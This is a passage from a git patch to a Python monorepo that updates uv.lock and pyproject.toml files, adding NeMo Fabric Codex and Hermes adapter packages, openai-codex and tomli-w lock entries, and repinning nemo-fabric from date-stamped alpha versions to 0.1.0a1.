'linux')" }, + { name = "nemo-fabric-adapters-hermes", marker = "(platform_machine == 'arm64' and sys_platform == 'darwin') or (platform_machine == 'aarch64' and sys_platform == 'linux') or (platform_machine == 'x86_64' and sys_platform == 'linux')" }, { name = "nemo-platform-plugin", marker = "(platform_machine == 'arm64' and sys_platform == 'darwin') or (platform_machine == 'aarch64' and sys_platform == 'linux') or (platform_machine == 'x86_64' and sys_platform == 'linux')" }, { name = "nemo-platform-sdk", marker = "(platform_machine == 'arm64' and sys_platform == 'darwin') or (platform_machine == 'aarch64' and sys_platform == 'linux') or (platform_machine == 'x86_64' and sys_platform == 'linux')" }, { name = "nemo-safe-synthesizer", marker = "(platform_machine == 'arm64' and sys_platform == 'darwin') or (platform_machine == 'aarch64' and sys_platform == 'linux') or (platform_machine == 'x86_64' and sys_platform == 'linux')" }, @@ -4994,6 +5044,8 @@ services = [ { name = "nemo-auditor-plugin", marker = "(platform_machine == 'arm64' and sys_platform == 'darwin') or (platform_machine == 'aarch64' and sys_platform == 'linux') or (platform_machine == 'x86_64' and sys_platform == 'linux')" }, { name = "nemo-evaluator-sdk", marker = "(platform_machine == 'arm64' and sys_platform == 'darwin') or (platform_machine == 'aarch64' and sys_platform == 'linux') or (platform_machine == 'x86_64' and sys_platform == 'linux')" }, { name = "nemo-fabric", marker = "(platform_machine == 'arm64' and sys_platform == 'darwin') or (platform_machine == 'aarch64' and sys_platform == 'linux') or (platform_machine == 'x86_64' and sys_platform == 'linux')" }, + { name = "nemo-fabric-adapters-codex", marker = "(platform_machine == 'arm64' and sys_platform == 'darwin') or (platform_machine == 'aarch64' and sys_platform == 'linux') or (platform_machine == 'x86_64' and sys_platform == 'linux')" }, + { name = "nemo-fabric-adapters-hermes", marker = "(platform_machine == 'arm64' and sys_platform == 'darwin') or (platform_machine == 'aarch64' and sys_platform == 'linux') or (platform_machine == 'x86_64' and sys_platform == 'linux')" }, { name = "nemo-platform-plugin", marker = "(platform_machine == 'arm64' and sys_platform == 'darwin') or (platform_machine == 'aarch64' and sys_platform == 'linux') or (platform_machine == 'x86_64' and sys_platform == 'linux')" }, { name = "nemo-platform-sdk", marker = "(platform_machine == 'arm64' and sys_platform == 'darwin') or (platform_machine == 'aarch64' and sys_platform == 'linux') or (platform_machine == 'x86_64' and sys_platform == 'linux')" }, { name = "nemo-safe-synthesizer", marker = "(platform_machine == 'arm64' and sys_platform == 'darwin') or (platform_machine == 'aarch64' and sys_platform == 'linux') or (platform_machine == 'x86_64' and sys_platform == 'linux')" }, @@ -5282,10 +5334,18 @@ requires-dist = [ { name = "nemo-evaluator-sdk", marker = "extra == 'nemo-evaluator-plugin'", editable = "packages/nemo_evaluator_sdk" }, { name = "nemo-evaluator-sdk", marker = "extra == 'plugins'", editable = "packages/nemo_evaluator_sdk" }, { name = "nemo-evaluator-sdk", marker = "extra == 'services'", editable = "packages/nemo_evaluator_sdk" }, - { name = "nemo-fabric", marker = "extra == 'all'", specifier = ">=0.1.0a20260717,<0.2.0" }, - { name = "nemo-fabric", marker = "extra == 'nemo-agents-plugin'", specifier = ">=0.1.0a20260717,<0.2.0" }, - { name = "nemo-fabric", marker = "extra == 'plugins'", specifier = ">=0.1.0a20260717,<0.2.0" }, - { name = "nemo-fabric", marker = "extra == 'services'", specifier = ">=0.1.0a20260717,<0.2.0" }, + { name = "nemo-fabric", marker = "extra == 'all'", specifier = ">=0.1.0a20260722,<0.2.0" }, + { name = "nemo-fabric", marker = "extra == 'nemo-agents-plugin'", specifier = ">=0.1.0a20260722,<0.2.0" }, + { name = "nemo-fabric", marker = "extra == 'plugins'", specifier = ">=0.1.0a20260722,<0.2.0" }, + { name = "nemo-fabric", marker = "extra == 'services'", specifier = ">=0.1.0a20260722,<0.2.0" }, + { name = "nemo-fabric-adapters-codex", marker = "extra == 'all'", specifier = ">=0.1.0a20260722,<0.2.0" }, + { name = "nemo-fabric-adapters-codex", marker = "extra == 'nemo-agents-plugin'", specifier = ">=0.1.0a20260722,<0.2.0" }, + { name = "nemo-fabric-adapters-codex", marker = "extra == 'plugins'", specifier = ">=0.1.0a20260722,<0.2.0" }, + { name = "nemo-fabric-adapters-codex", marker = "extra == 'services'", specifier = ">=0.1.0a20260722,<0.2.0" }, + { name = "nemo-fabric-adapters-hermes", marker = "python_full_version < '3.14' and extra == 'all'", specifier = ">=0.1.0a20260722,<0.2.0" }, + { name = "nemo-fabric-adapters-hermes", marker = "python_full_version < '3.14' and extra == 'nemo-agents-plugin'", specifier = ">=0.1.0a20260722,<0.2.0" }, + { name = "nemo-fabric-adapters-hermes", marker = "python_full_version < '3.14' and extra == 'plugins'", specifier = ">=0.1.0a20260722,<0.2.0" }, + { name = "nemo-fabric-adapters-hermes", marker = "python_full_version < '3.14' and extra == 'services'", specifier = ">=0.1.0a20260722,<0.2.0" }, { name = "nemo-platform-plugin", editable = "packages/nemo_platform_plugin" }, { name = "nemo-platform-plugin", marker = "extra == 'all'", editable = "packages/nemo_platform_plugin" }, { name = "nemo-platform-plugin", marker = "extra == 'core-service'", editable = "packages/nemo_platform_plugin" }, @@ -8113,6 +8173,31 @@ docker = [ { name = "docker", marker = "(platform_machine == 'arm64' and sys_platform == 'darwin') or (platform_machine == 'aarch64' and sys_platform == 'linux') or (platform_machine == 'x86_64' and sys_platform == 'linux')" }, ] +[[package]] +name = "openai-codex" +version = "0.144.4" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "openai-codex-cli-bin", marker = "(platform_machine == 'arm64' and sys_platform == 'darwin') or (platform_machine == 'aarch64' and sys_platform == 'linux') or (platform_machine == 'x86_64' and sys_platform == 'linux')" }, + { name = "pydantic", extra = ["email"], marker = "(platform_machine == 'arm64' and sys_platform == 'darwin') or (platform_machine == 'aarch64' and sys_platform == 'linux') or (platform_machine == 'x86_64' and sys_platform == 'linux')" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/b9/7d/4b999b0ddd05c22d83cc2e879c95e1e92e3b7808b58ac561c4ea91fca1c4/openai_codex-0.144.4.tar.gz", hash = "sha256:91c63a7cb213441569f130e593386b34657ab9e726ae88af255f0ecb8de08ea5", size = 68324, upload-time = "2026-07-17T23:42:17.013Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/17/35/5d2a13e38d91278019f18757ac10426d2649b7ec6f031818c792f64559e9/openai_codex-0.144.4-py3-none-any.whl", hash = "sha256:de1513a6e94b9a8d7728a3b74298bc1469428ade10ba0ef2d5db47dd1cb606f5", size = 76244, upload-time = "2026-07-17T23:42:15.658Z" }, +] + +[[package]] +name = "openai-codex-cli-bin" +version = "0.144.4" +source = { registry = "https://pypi.org/simple" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/65/eb/64c180514a2cc3e2500e486813f5a8d7f7e349342e9bebd78d99ddd9791a/openai_codex_cli_bin-0.144.4-py3-none-macosx_11_0_arm64.whl", hash = "sha256:05db505a9c7f020f58b70837a94e00d32a50086986c267bcc44ea97b573d4a05", size = 116474758, upload-time = "2026-07-15T00:14:08.177Z" }, + { url = "https://files.pythonhosted.org/packages/85/34/921ab692c7ed140941a91e39b84c6deafddb45072793f3a5f6dcbf86f59a/openai_codex_cli_bin-0.144.4-py3-none-manylinux_2_17_aarch64.whl", hash = "sha256:cd4bb31b8a477a3adba22139c8c493693fa5292ba21e86eef08ace3e96c41294", size = 119437596, upload-time = "2026-07-15T00:14:17.418Z" }, + { url = "https://files.pythonhosted.org/packages/25/62/39e630cf8b7b2e2444a5a6669235a6cd88004869a25bb7f3f629ed35638c/openai_codex_cli_bin-0.144.4-py3-none-manylinux_2_17_x86_64.whl", hash = "sha256:4106229c38f37245c3eea8d904426afd45b8bf19831765715647f5402f757c06", size = 128817757, upload-time = "2026-07-15T00:14:30.539Z" }, + { url = "https://files.pythonhosted.org/packages/23/24/318f91a95baaff845307e529d138d42a7202e6bd0e626556058eab3dead5/openai_codex_cli_bin-0.144.4-py3-none-musllinux_1_1_aarch64.whl", hash = "sha256:d2d3fada11731938e3d3e3660819d5324b7f92e825a0ed5aede63100b36ffc9a", size = 119437594, upload-time = "2026-07-15T00:14:39.327Z" }, + { url = "https://files.pythonhosted.org/packages/2e/a0/65e6fd3a6fba52639937801d9ce517b0c48026458723bb9f08eb07a1dd35/openai_codex_cli_bin-0.144.4-py3-none-musllinux_1_1_x86_64.whl", hash = "sha256:70fb62ed7755e332dd8b00ed48e22ee16df10f4a977335039e237cd330490df3", size = 128817755, upload-time = "2026-07-15T00:14:47.849Z" }, +] + [[package]] name = "openapi-pydantic" version = "0.5.1" @@ -10855,6 +10940,15 @@ wheels = [ { url = "https://files.pythonhosted.org/packages/7b/61/cceae43728b7de99d9b847560c262873a1f6c98202171fd5ed62640b494b/tomli-2.4.1-py3-none-any.whl", hash = "sha256:0d85819802132122da43cb86656f8d1f8c6587d54ae7dcaf30e90533028b49fe", size = 14583, upload-time = "2026-03-25T20:22:03.012Z" }, ] +[[package]] +name = "tomli-w" +version = "1.2.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/19/75/241269d1da26b624c0d5e110e8149093c759b7a286138f4efd61a60e75fe/tomli_w-1.2.0.tar.gz", hash = "sha256:2dd14fac5a47c27be9cd4c976af5a12d87fb1f0b4512f81d69cce3b35ae25021", size = 7184, upload-time = "2025-01-15T12:07:24.262Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/c7/18/c86eb8e0202e32dd3df50d43d7ff9854f8e0603945ff398974c1d91ac1ef/tomli_w-1.2.0-py3-none-any.whl", hash = "sha256:188306098d013b691fcadc011abd66727d3c414c571bb01b1a174ba8c983cf90", size = 6675, upload-time = "2025-01-15T12:07:22.074Z" }, +] + [[package]] name = "tomlkit" version = "0.14.0" From 8debe0fe26ae8dfcc6162e805e22ce37a4eb7a2f Mon Sep 17 00:00:00 2001 From: Manjesh Mogallapalli Date: Thu, 23 Jul 2026 10:17:50 -0500 Subject: [PATCH 2/4] update pin to 0.1.0a1 Signed-off-by: Manjesh Mogallapalli --- packages/nemo_platform/pyproject.toml | 6 +-- plugins/nemo-agents/pyproject.toml | 6 +-- uv.lock | 65 ++++++++++++++------------- 3 files changed, 41 insertions(+), 36 deletions(-) diff --git a/packages/nemo_platform/pyproject.toml b/packages/nemo_platform/pyproject.toml index 4fef554c12..620be7ac6c 100644 --- a/packages/nemo_platform/pyproject.toml +++ b/packages/nemo_platform/pyproject.toml @@ -234,9 +234,9 @@ nemo-agents-plugin = [ "boto3>=1.40.46,<1.40.62", "botocore>=1.40.46,<1.40.62", "httpx>=0.27", - "nemo-fabric>=0.1.0a20260722,<0.2.0", - "nemo-fabric-adapters-codex>=0.1.0a20260722,<0.2.0", - "nemo-fabric-adapters-hermes>=0.1.0a20260722,<0.2.0; python_version < '3.14'", + "nemo-fabric[runtime]==0.1.0a1", + "nemo-fabric-adapters-codex==0.1.0a1", + "nemo-fabric-adapters-hermes==0.1.0a1; python_version < '3.14'", "pyyaml>=6.0", "anthropic>=0.88.0", "rich>=13.7.1", diff --git a/plugins/nemo-agents/pyproject.toml b/plugins/nemo-agents/pyproject.toml index 89568c72e0..8024a786f7 100644 --- a/plugins/nemo-agents/pyproject.toml +++ b/plugins/nemo-agents/pyproject.toml @@ -18,9 +18,9 @@ dependencies = [ "httpx>=0.27", # TODO(AIRCORE-897): Move this to a stable Fabric version before release once available. # TODO(AIRCORE-897): Add the `relay` extra once nemo-evaluator-sdk's nemo-relay pin allows >=0.5. - "nemo-fabric>=0.1.0a20260722,<0.2.0", - "nemo-fabric-adapters-codex>=0.1.0a20260722,<0.2.0", - "nemo-fabric-adapters-hermes>=0.1.0a20260722,<0.2.0; python_version < '3.14'", + "nemo-fabric[runtime]==0.1.0a1", + "nemo-fabric-adapters-codex==0.1.0a1", + "nemo-fabric-adapters-hermes==0.1.0a1; python_version < '3.14'", "pyyaml>=6.0", # improvement/ subpackage — agent-improvement workflow (POC). "anthropic>=0.88.0", diff --git a/uv.lock b/uv.lock index e654d203e8..ce2d44f718 100644 --- a/uv.lock +++ b/uv.lock @@ -3919,7 +3919,7 @@ dependencies = [ { name = "nemo-agents-example-calculator", marker = "(platform_machine == 'arm64' and sys_platform == 'darwin') or (platform_machine == 'aarch64' and sys_platform == 'linux') or (platform_machine == 'x86_64' and sys_platform == 'linux')" }, { name = "nemo-agents-example-email-phishing", marker = "(platform_machine == 'arm64' and sys_platform == 'darwin') or (platform_machine == 'aarch64' and sys_platform == 'linux') or (platform_machine == 'x86_64' and sys_platform == 'linux')" }, { name = "nemo-deployments-plugin", marker = "(platform_machine == 'arm64' and sys_platform == 'darwin') or (platform_machine == 'aarch64' and sys_platform == 'linux') or (platform_machine == 'x86_64' and sys_platform == 'linux')" }, - { name = "nemo-fabric", marker = "(platform_machine == 'arm64' and sys_platform == 'darwin') or (platform_machine == 'aarch64' and sys_platform == 'linux') or (platform_machine == 'x86_64' and sys_platform == 'linux')" }, + { name = "nemo-fabric", extra = ["runtime"], marker = "(platform_machine == 'arm64' and sys_platform == 'darwin') or (platform_machine == 'aarch64' and sys_platform == 'linux') or (platform_machine == 'x86_64' and sys_platform == 'linux')" }, { name = "nemo-fabric-adapters-codex", marker = "(platform_machine == 'arm64' and sys_platform == 'darwin') or (platform_machine == 'aarch64' and sys_platform == 'linux') or (platform_machine == 'x86_64' and sys_platform == 'linux')" }, { name = "nemo-fabric-adapters-hermes", marker = "(platform_machine == 'arm64' and sys_platform == 'darwin') or (platform_machine == 'aarch64' and sys_platform == 'linux') or (platform_machine == 'x86_64' and sys_platform == 'linux')" }, { name = "nemo-platform", marker = "(platform_machine == 'arm64' and sys_platform == 'darwin') or (platform_machine == 'aarch64' and sys_platform == 'linux') or (platform_machine == 'x86_64' and sys_platform == 'linux')" }, @@ -3958,9 +3958,9 @@ requires-dist = [ { name = "nemo-agents-example-calculator", editable = "plugins/nemo-agents/examples/calculator-agent" }, { name = "nemo-agents-example-email-phishing", editable = "plugins/nemo-agents/examples/email-phishing-analyzer" }, { name = "nemo-deployments-plugin", editable = "plugins/nemo-deployments" }, - { name = "nemo-fabric", specifier = ">=0.1.0a20260722,<0.2.0" }, - { name = "nemo-fabric-adapters-codex", specifier = ">=0.1.0a20260722,<0.2.0" }, - { name = "nemo-fabric-adapters-hermes", marker = "python_full_version < '3.14'", specifier = ">=0.1.0a20260722,<0.2.0" }, + { name = "nemo-fabric", extras = ["runtime"], specifier = "==0.1.0a1" }, + { name = "nemo-fabric-adapters-codex", specifier = "==0.1.0a1" }, + { name = "nemo-fabric-adapters-hermes", marker = "python_full_version < '3.14'", specifier = "==0.1.0a1" }, { name = "nemo-platform", editable = "packages/nemo_platform" }, { name = "nemo-platform-plugin", editable = "packages/nemo_platform_plugin" }, { name = "nvidia-nat-config-optimizer", specifier = ">=1.8.0,<1.9" }, @@ -4384,49 +4384,54 @@ dev = [ [[package]] name = "nemo-fabric" -version = "0.1.0a20260722" +version = "0.1.0a1" source = { registry = "https://pypi.org/simple" } dependencies = [ { name = "nemo-fabric-runtime", marker = "(platform_machine == 'arm64' and sys_platform == 'darwin') or (platform_machine == 'aarch64' and sys_platform == 'linux') or (platform_machine == 'x86_64' and sys_platform == 'linux')" }, ] -sdist = { url = "https://files.pythonhosted.org/packages/da/a3/8b40e928aa6df5e05b90c9c2dd7809320a736baac977bf9062d14f47f8d1/nemo_fabric-0.1.0a20260722.tar.gz", hash = "sha256:1fca6642d497544b9c3739a729e8e29308a8b76ed16eed3d27df511d8572d5ad", size = 6152, upload-time = "2026-07-22T09:38:34.148Z" } +sdist = { url = "https://files.pythonhosted.org/packages/0a/35/40d7b662e94150748ea05bf2728d4885237b89accaeb8e6090c9c00c74ae/nemo_fabric-0.1.0a1.tar.gz", hash = "sha256:20969a6fa74b2a5ec2d99e9c53c784b37c4c63f109da5593a37b2fb0c0bc79c3", size = 6268, upload-time = "2026-07-22T19:14:21.221Z" } + +[package.optional-dependencies] +runtime = [ + { name = "nemo-fabric-runtime", marker = "(platform_machine == 'arm64' and sys_platform == 'darwin') or (platform_machine == 'aarch64' and sys_platform == 'linux') or (platform_machine == 'x86_64' and sys_platform == 'linux')" }, +] [[package]] name = "nemo-fabric-adapters-codex" -version = "0.1.0a20260722" +version = "0.1.0a1" source = { registry = "https://pypi.org/simple" } dependencies = [ { name = "nemo-fabric-adapters-common", marker = "(platform_machine == 'arm64' and sys_platform == 'darwin') or (platform_machine == 'aarch64' and sys_platform == 'linux') or (platform_machine == 'x86_64' and sys_platform == 'linux')" }, { name = "openai-codex", marker = "(platform_machine == 'arm64' and sys_platform == 'darwin') or (platform_machine == 'aarch64' and sys_platform == 'linux') or (platform_machine == 'x86_64' and sys_platform == 'linux')" }, { name = "tomli-w", marker = "(platform_machine == 'arm64' and sys_platform == 'darwin') or (platform_machine == 'aarch64' and sys_platform == 'linux') or (platform_machine == 'x86_64' and sys_platform == 'linux')" }, ] -sdist = { url = "https://files.pythonhosted.org/packages/2d/e1/0220ed8ad176e89a988a8a77d9e616d877a7df17ee84b9e745051622d351/nemo_fabric_adapters_codex-0.1.0a20260722.tar.gz", hash = "sha256:9f840489c20292338c80a22d24a955880cb6aa3060fa622f8730bbb5e0f51fb7", size = 8676, upload-time = "2026-07-22T09:38:40.654Z" } +sdist = { url = "https://files.pythonhosted.org/packages/1b/00/72808b79cdc70d2abe80e4019ddb2a93020d6fc3bfd13be018f8f5762122/nemo_fabric_adapters_codex-0.1.0a1.tar.gz", hash = "sha256:b36ab92bb8c9cb77230954a046c95bf9363c661bcce820d0d6c61cba5b5742a5", size = 7557, upload-time = "2026-07-22T19:14:11.47Z" } [[package]] name = "nemo-fabric-adapters-common" -version = "0.1.0a20260722" +version = "0.1.0a1" source = { registry = "https://pypi.org/simple" } -sdist = { url = "https://files.pythonhosted.org/packages/74/2f/6f02a0909c44a494670f10e1abb66dd9b9d313d610ac61ced9368233b5f9/nemo_fabric_adapters_common-0.1.0a20260722.tar.gz", hash = "sha256:23ff20e39cddcfa2eed987b1ec2f5e54c597c008a8e1cea41dc33cbb0c13f446", size = 5823, upload-time = "2026-07-22T09:38:31.222Z" } +sdist = { url = "https://files.pythonhosted.org/packages/5f/d8/9311537d9ec1900e6018edf76030334f7a1deb469e3bc4c38da2d725c11e/nemo_fabric_adapters_common-0.1.0a1.tar.gz", hash = "sha256:74c3ba61169a1f721efe7500cc23e9b01d6d30d05d517764df6062052c4534f5", size = 5776, upload-time = "2026-07-22T19:14:18.918Z" } [[package]] name = "nemo-fabric-adapters-hermes" -version = "0.1.0a20260722" +version = "0.1.0a1" source = { registry = "https://pypi.org/simple" } dependencies = [ { name = "nemo-fabric-adapters-common", marker = "(platform_machine == 'arm64' and sys_platform == 'darwin') or (platform_machine == 'aarch64' and sys_platform == 'linux') or (platform_machine == 'x86_64' and sys_platform == 'linux')" }, { name = "pyyaml", marker = "(platform_machine == 'arm64' and sys_platform == 'darwin') or (platform_machine == 'aarch64' and sys_platform == 'linux') or (platform_machine == 'x86_64' and sys_platform == 'linux')" }, ] -sdist = { url = "https://files.pythonhosted.org/packages/3a/56/d82d80b537b441bde51ea52c48a58736122352f07b73c9680dfb1851ccf5/nemo_fabric_adapters_hermes-0.1.0a20260722.tar.gz", hash = "sha256:ca38c94161d09f4cc3e8022eedb73570b17d817a33cbbbff8aea0d1c4ff246e7", size = 6189, upload-time = "2026-07-22T09:38:37.872Z" } +sdist = { url = "https://files.pythonhosted.org/packages/b8/62/79cdd277c74fc374bae02c26bc5a9a10e7e1fea03114758213dbe032e53d/nemo_fabric_adapters_hermes-0.1.0a1.tar.gz", hash = "sha256:c630be6e01e24c357c0bdc19a5a5eb602fb615cb6720272324931349d65024e3", size = 6200, upload-time = "2026-07-22T19:14:15.651Z" } [[package]] name = "nemo-fabric-runtime" -version = "0.1.0a20260722" +version = "0.1.0a1" source = { registry = "https://pypi.org/simple" } dependencies = [ { name = "pydantic", extra = ["email"], marker = "(platform_machine == 'arm64' and sys_platform == 'darwin') or (platform_machine == 'aarch64' and sys_platform == 'linux') or (platform_machine == 'x86_64' and sys_platform == 'linux')" }, { name = "typing-extensions", marker = "(platform_machine == 'arm64' and sys_platform == 'darwin') or (platform_machine == 'aarch64' and sys_platform == 'linux') or (platform_machine == 'x86_64' and sys_platform == 'linux')" }, ] -sdist = { url = "https://files.pythonhosted.org/packages/b4/35/39cbcd9743974d735e4ef27578edfdcc713e1eb67c9ed786b9f44fd22971/nemo_fabric_runtime-0.1.0a20260722.tar.gz", hash = "sha256:5b6110d3fe375a3dd55e705a827b5b189642b09340db58bbe72b333e84cfe47b", size = 5283, upload-time = "2026-07-22T09:38:33.333Z" } +sdist = { url = "https://files.pythonhosted.org/packages/e7/26/41248ffb1ac89f5004ec09fc15216cd15aaa18620ac3e80c5ae704c3217a/nemo_fabric_runtime-0.1.0a1.tar.gz", hash = "sha256:f659d0202a8a156ce898a887c67578aa576198220f2186d397607f8ae7314466", size = 5272, upload-time = "2026-07-22T19:14:09.773Z" } [[package]] name = "nemo-guardrails-plugin" @@ -4584,7 +4589,7 @@ all = [ { name = "nemo-anonymizer", marker = "(platform_machine == 'arm64' and sys_platform == 'darwin') or (platform_machine == 'aarch64' and sys_platform == 'linux') or (platform_machine == 'x86_64' and sys_platform == 'linux')" }, { name = "nemo-auditor-plugin", marker = "(platform_machine == 'arm64' and sys_platform == 'darwin') or (platform_machine == 'aarch64' and sys_platform == 'linux') or (platform_machine == 'x86_64' and sys_platform == 'linux')" }, { name = "nemo-evaluator-sdk", marker = "(platform_machine == 'arm64' and sys_platform == 'darwin') or (platform_machine == 'aarch64' and sys_platform == 'linux') or (platform_machine == 'x86_64' and sys_platform == 'linux')" }, - { name = "nemo-fabric", marker = "(platform_machine == 'arm64' and sys_platform == 'darwin') or (platform_machine == 'aarch64' and sys_platform == 'linux') or (platform_machine == 'x86_64' and sys_platform == 'linux')" }, + { name = "nemo-fabric", extra = ["runtime"], marker = "(platform_machine == 'arm64' and sys_platform == 'darwin') or (platform_machine == 'aarch64' and sys_platform == 'linux') or (platform_machine == 'x86_64' and sys_platform == 'linux')" }, { name = "nemo-fabric-adapters-codex", marker = "(platform_machine == 'arm64' and sys_platform == 'darwin') or (platform_machine == 'aarch64' and sys_platform == 'linux') or (platform_machine == 'x86_64' and sys_platform == 'linux')" }, { name = "nemo-fabric-adapters-hermes", marker = "(platform_machine == 'arm64' and sys_platform == 'darwin') or (platform_machine == 'aarch64' and sys_platform == 'linux') or (platform_machine == 'x86_64' and sys_platform == 'linux')" }, { name = "nemo-platform-plugin", marker = "(platform_machine == 'arm64' and sys_platform == 'darwin') or (platform_machine == 'aarch64' and sys_platform == 'linux') or (platform_machine == 'x86_64' and sys_platform == 'linux')" }, @@ -4805,7 +4810,7 @@ nemo-agents-plugin = [ { name = "httpx", marker = "(platform_machine == 'arm64' and sys_platform == 'darwin') or (platform_machine == 'aarch64' and sys_platform == 'linux') or (platform_machine == 'x86_64' and sys_platform == 'linux')" }, { name = "langchain-aws", marker = "(platform_machine == 'arm64' and sys_platform == 'darwin') or (platform_machine == 'aarch64' and sys_platform == 'linux') or (platform_machine == 'x86_64' and sys_platform == 'linux')" }, { name = "nemo-agents-example-calculator", marker = "(platform_machine == 'arm64' and sys_platform == 'darwin') or (platform_machine == 'aarch64' and sys_platform == 'linux') or (platform_machine == 'x86_64' and sys_platform == 'linux')" }, - { name = "nemo-fabric", marker = "(platform_machine == 'arm64' and sys_platform == 'darwin') or (platform_machine == 'aarch64' and sys_platform == 'linux') or (platform_machine == 'x86_64' and sys_platform == 'linux')" }, + { name = "nemo-fabric", extra = ["runtime"], marker = "(platform_machine == 'arm64' and sys_platform == 'darwin') or (platform_machine == 'aarch64' and sys_platform == 'linux') or (platform_machine == 'x86_64' and sys_platform == 'linux')" }, { name = "nemo-fabric-adapters-codex", marker = "(platform_machine == 'arm64' and sys_platform == 'darwin') or (platform_machine == 'aarch64' and sys_platform == 'linux') or (platform_machine == 'x86_64' and sys_platform == 'linux')" }, { name = "nemo-fabric-adapters-hermes", marker = "(platform_machine == 'arm64' and sys_platform == 'darwin') or (platform_machine == 'aarch64' and sys_platform == 'linux') or (platform_machine == 'x86_64' and sys_platform == 'linux')" }, { name = "nemo-platform-plugin", marker = "(platform_machine == 'arm64' and sys_platform == 'darwin') or (platform_machine == 'aarch64' and sys_platform == 'linux') or (platform_machine == 'x86_64' and sys_platform == 'linux')" }, @@ -4979,7 +4984,7 @@ plugins = [ { name = "nemo-agents-example-calculator", marker = "(platform_machine == 'arm64' and sys_platform == 'darwin') or (platform_machine == 'aarch64' and sys_platform == 'linux') or (platform_machine == 'x86_64' and sys_platform == 'linux')" }, { name = "nemo-anonymizer", marker = "(platform_machine == 'arm64' and sys_platform == 'darwin') or (platform_machine == 'aarch64' and sys_platform == 'linux') or (platform_machine == 'x86_64' and sys_platform == 'linux')" }, { name = "nemo-evaluator-sdk", marker = "(platform_machine == 'arm64' and sys_platform == 'darwin') or (platform_machine == 'aarch64' and sys_platform == 'linux') or (platform_machine == 'x86_64' and sys_platform == 'linux')" }, - { name = "nemo-fabric", marker = "(platform_machine == 'arm64' and sys_platform == 'darwin') or (platform_machine == 'aarch64' and sys_platform == 'linux') or (platform_machine == 'x86_64' and sys_platform == 'linux')" }, + { name = "nemo-fabric", extra = ["runtime"], marker = "(platform_machine == 'arm64' and sys_platform == 'darwin') or (platform_machine == 'aarch64' and sys_platform == 'linux') or (platform_machine == 'x86_64' and sys_platform == 'linux')" }, { name = "nemo-fabric-adapters-codex", marker = "(platform_machine == 'arm64' and sys_platform == 'darwin') or (platform_machine == 'aarch64' and sys_platform == 'linux') or (platform_machine == 'x86_64' and sys_platform == 'linux')" }, { name = "nemo-fabric-adapters-hermes", marker = "(platform_machine == 'arm64' and sys_platform == 'darwin') or (platform_machine == 'aarch64' and sys_platform == 'linux') or (platform_machine == 'x86_64' and sys_platform == 'linux')" }, { name = "nemo-platform-plugin", marker = "(platform_machine == 'arm64' and sys_platform == 'darwin') or (platform_machine == 'aarch64' and sys_platform == 'linux') or (platform_machine == 'x86_64' and sys_platform == 'linux')" }, @@ -5043,7 +5048,7 @@ services = [ { name = "nemo-anonymizer", marker = "(platform_machine == 'arm64' and sys_platform == 'darwin') or (platform_machine == 'aarch64' and sys_platform == 'linux') or (platform_machine == 'x86_64' and sys_platform == 'linux')" }, { name = "nemo-auditor-plugin", marker = "(platform_machine == 'arm64' and sys_platform == 'darwin') or (platform_machine == 'aarch64' and sys_platform == 'linux') or (platform_machine == 'x86_64' and sys_platform == 'linux')" }, { name = "nemo-evaluator-sdk", marker = "(platform_machine == 'arm64' and sys_platform == 'darwin') or (platform_machine == 'aarch64' and sys_platform == 'linux') or (platform_machine == 'x86_64' and sys_platform == 'linux')" }, - { name = "nemo-fabric", marker = "(platform_machine == 'arm64' and sys_platform == 'darwin') or (platform_machine == 'aarch64' and sys_platform == 'linux') or (platform_machine == 'x86_64' and sys_platform == 'linux')" }, + { name = "nemo-fabric", extra = ["runtime"], marker = "(platform_machine == 'arm64' and sys_platform == 'darwin') or (platform_machine == 'aarch64' and sys_platform == 'linux') or (platform_machine == 'x86_64' and sys_platform == 'linux')" }, { name = "nemo-fabric-adapters-codex", marker = "(platform_machine == 'arm64' and sys_platform == 'darwin') or (platform_machine == 'aarch64' and sys_platform == 'linux') or (platform_machine == 'x86_64' and sys_platform == 'linux')" }, { name = "nemo-fabric-adapters-hermes", marker = "(platform_machine == 'arm64' and sys_platform == 'darwin') or (platform_machine == 'aarch64' and sys_platform == 'linux') or (platform_machine == 'x86_64' and sys_platform == 'linux')" }, { name = "nemo-platform-plugin", marker = "(platform_machine == 'arm64' and sys_platform == 'darwin') or (platform_machine == 'aarch64' and sys_platform == 'linux') or (platform_machine == 'x86_64' and sys_platform == 'linux')" }, @@ -5334,18 +5339,18 @@ requires-dist = [ { name = "nemo-evaluator-sdk", marker = "extra == 'nemo-evaluator-plugin'", editable = "packages/nemo_evaluator_sdk" }, { name = "nemo-evaluator-sdk", marker = "extra == 'plugins'", editable = "packages/nemo_evaluator_sdk" }, { name = "nemo-evaluator-sdk", marker = "extra == 'services'", editable = "packages/nemo_evaluator_sdk" }, - { name = "nemo-fabric", marker = "extra == 'all'", specifier = ">=0.1.0a20260722,<0.2.0" }, - { name = "nemo-fabric", marker = "extra == 'nemo-agents-plugin'", specifier = ">=0.1.0a20260722,<0.2.0" }, - { name = "nemo-fabric", marker = "extra == 'plugins'", specifier = ">=0.1.0a20260722,<0.2.0" }, - { name = "nemo-fabric", marker = "extra == 'services'", specifier = ">=0.1.0a20260722,<0.2.0" }, - { name = "nemo-fabric-adapters-codex", marker = "extra == 'all'", specifier = ">=0.1.0a20260722,<0.2.0" }, - { name = "nemo-fabric-adapters-codex", marker = "extra == 'nemo-agents-plugin'", specifier = ">=0.1.0a20260722,<0.2.0" }, - { name = "nemo-fabric-adapters-codex", marker = "extra == 'plugins'", specifier = ">=0.1.0a20260722,<0.2.0" }, - { name = "nemo-fabric-adapters-codex", marker = "extra == 'services'", specifier = ">=0.1.0a20260722,<0.2.0" }, - { name = "nemo-fabric-adapters-hermes", marker = "python_full_version < '3.14' and extra == 'all'", specifier = ">=0.1.0a20260722,<0.2.0" }, - { name = "nemo-fabric-adapters-hermes", marker = "python_full_version < '3.14' and extra == 'nemo-agents-plugin'", specifier = ">=0.1.0a20260722,<0.2.0" }, - { name = "nemo-fabric-adapters-hermes", marker = "python_full_version < '3.14' and extra == 'plugins'", specifier = ">=0.1.0a20260722,<0.2.0" }, - { name = "nemo-fabric-adapters-hermes", marker = "python_full_version < '3.14' and extra == 'services'", specifier = ">=0.1.0a20260722,<0.2.0" }, + { name = "nemo-fabric", extras = ["runtime"], marker = "extra 